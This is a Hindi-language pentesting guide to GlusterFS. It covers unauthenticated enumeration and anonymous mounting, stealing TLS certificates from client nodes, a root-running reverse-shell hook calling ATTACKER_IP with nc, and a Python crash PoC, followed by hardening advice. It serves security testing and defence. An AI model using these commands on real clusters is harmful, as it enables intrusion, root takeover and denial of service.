7.8 KiB
24007-24008-24009-49152 - Pentesting GlusterFS
{{#include ../banners/hacktricks-training.md}}
Basic Information
GlusterFS एक वितरित फ़ाइल प्रणाली है जो कई सर्वरों से संग्रहण को एक एकीकृत नामस्थान में जोड़ती है। प्रबंधन डेमॉन (glusterd
) डिफ़ॉल्ट रूप से 24007/TCP पर सुनता है और डेटा-प्लेन ईंटों को निर्देशित करता है जो 49152/TCP पर शुरू होती हैं (प्रत्येक ईंट के लिए एक पोर्ट, बढ़ता हुआ)। 9.x से पहले के संस्करणों ने ईंट परिवहन के लिए 24008–24009/TCP का उपयोग किया, इसलिए आप अभी भी उन पोर्टों का सामना करेंगे जो विरासती क्लस्टरों में हैं।
PORT STATE SERVICE VERSION
24007/tcp open glusterd GlusterFS (RPC)
49152/tcp open gluster-brick SSL (TLS optional)
टिप: 24007 RPC कॉल का उत्तर देता है भले ही स्टोरेज-केवल नोड्स कोई वॉल्यूम नहीं निर्यात करते हैं; इसलिए सेवा बड़े बुनियादी ढांचे के भीतर एक विश्वसनीय पिवट लक्ष्य है।
गणना
अपने हमलावर बॉक्स पर क्लाइंट उपयोगिताएँ स्थापित करें:
sudo apt install -y glusterfs-cli glusterfs-client # Debian/Ubuntu
- पीयर खोज और स्वास्थ्य
# List peers (works without authentication in default setups)
gluster --remote-host 10.10.11.131 peer status
- वॉल्यूम पहचान
# Retrieve the list of all volumes and their configuration
gluster --remote-host 10.10.11.131 volume info all
- बिना विशेषाधिकार के माउंट करें
sudo mount -t glusterfs 10.10.11.131:/<vol_name> /mnt/gluster
यदि माउंटिंग विफल हो जाता है, तो क्लाइंट साइड पर /var/log/glusterfs/<vol_name>-<uid>.log
की जांच करें। सामान्य समस्याएँ हैं:
- TLS प्रवर्तन (
option transport.socket.ssl on
) - पते आधारित पहुँच नियंत्रण (
option auth.allow <cidr>
)
प्रमाणपत्र समस्या निवारण
किसी भी अधिकृत क्लाइंट नोड से निम्नलिखित फ़ाइलें चुराएँ और उन्हें /etc/ssl/
(या त्रुटि लॉग में दिखाए गए निर्देशिका) में रखें:
/etc/ssl/glusterfs.pem
/etc/ssl/glusterfs.key
/etc/ssl/glusterfs.ca
ज्ञात कमजोरियाँ (2022-2025)
CVE | प्रभावित संस्करण | प्रभाव | नोट्स |
---|---|---|---|
CVE-2022-48340 | 10.0–10.4, 11.0 | dht_setxattr_mds_cbk में उपयोग के बाद मुक्त, नेटवर्क के माध्यम से पहुँच योग्य |
दूरस्थ DoS और संभावित RCE। 10.4.1 / 11.1 में ठीक किया गया। |
CVE-2023-26253 | < 11.0 | FUSE सूचित हैंडलर में सीमा से बाहर पढ़ाई | तैयार FS संचालन के माध्यम से दूरस्थ क्रैश; सार्वजनिक PoC उपलब्ध है। |
CVE-2023-3775 | < 10.5 / 11.1 | gluster_shared_storage को माउंट करते समय गलत अनुमति सत्यापन |
किसी भी अप्रमाणित क्लाइंट को प्रशासनिक वॉल्यूम माउंट करने की अनुमति देता है - नीचे समझाए गए priv-esc की ओर ले जाता है। |
हमेशा
gluster --version
प्रत्येक नोड पर जांचें; आंशिक अपग्रेड के बाद विषम क्लस्टर सामान्य हैं।
gluster_shared_storage
का शोषण (अधिकार वृद्धि)
हाल के संस्करणों में भी कई प्रशासक विशेष gluster_shared_storage
वॉल्यूम को विश्व-पढ़ने योग्य छोड़ देते हैं क्योंकि यह भू-प्रतिकृति को सरल बनाता है। वॉल्यूम में क्रोनजॉब टेम्पलेट होते हैं जो प्रत्येक नोड पर root के साथ चलते हैं।
# 1. Mount admin volume anonymously
mkdir /tmp/gss && sudo mount -t glusterfs 10.10.11.131:/gluster_shared_storage /tmp/gss
# 2. Drop malicious script that gets synchronised cluster-wide
cat <<'EOF' > /tmp/gss/hooks/1/start/post/test.sh
#!/bin/bash
nc -e /bin/bash ATTACKER_IP 4444 &
EOF
chmod +x /tmp/gss/hooks/1/start/post/test.sh
# 3. Wait until glusterd distributes the hook and executes it as root
यदि hooks/1/
मौजूद नहीं है, तो /ss_bricks/
के लिए देखें - सटीक पथ प्रमुख संस्करण के साथ भिन्न हो सकता है।
Denial-of-Service PoC (CVE-2023-26253)
#!/usr/bin/env python3
# Minimal reproducer: sends malformed NOTIFY_REPLY XDR frame to 24007
import socket, xdrlib, struct
p = xdrlib.Packer(); p.pack_uint(0xdeadbeef)
with socket.create_connection(("10.10.11.131",24007)) as s:
s.send(struct.pack("!L", len(p.get_buffer())|0x80000000))
s.send(p.get_buffer())
glusterfsd
< 11.0 चलाते समय क्रैश हो जाता है।
हार्डनिंग और पहचान
- अपग्रेड – वर्तमान LTS 11.1 है (जुलाई 2025)। सभी CVEs ऊपर ठीक किए गए हैं।
- हर ईंट के लिए TLS सक्षम करें:
gluster volume set <vol> transport.socket.ssl on
gluster volume set <vol> transport.socket.ssl-cert /etc/ssl/glusterfs.pem
- CIDR सूचियों के साथ क्लाइंट को प्रतिबंधित करें:
gluster volume set <vol> auth.allow 10.0.0.0/24
- प्रबंधन पोर्ट 24007 को केवल निजी VLAN पर या SSH टनल के माध्यम से उजागर करें।
- लॉग पर नज़र रखें:
tail -f /var/log/glusterfs/glusterd.log
और ऑडिट-लॉग फीचर कॉन्फ़िगर करें (volume set <vol> features.audit-log on
)।
संदर्भ
- GlusterFS सुरक्षा सलाहकार
- CVE-2023-26253 PoC – github.com/tinynetwork/gluster-notify-crash {{#include ../banners/hacktricks-training.md}}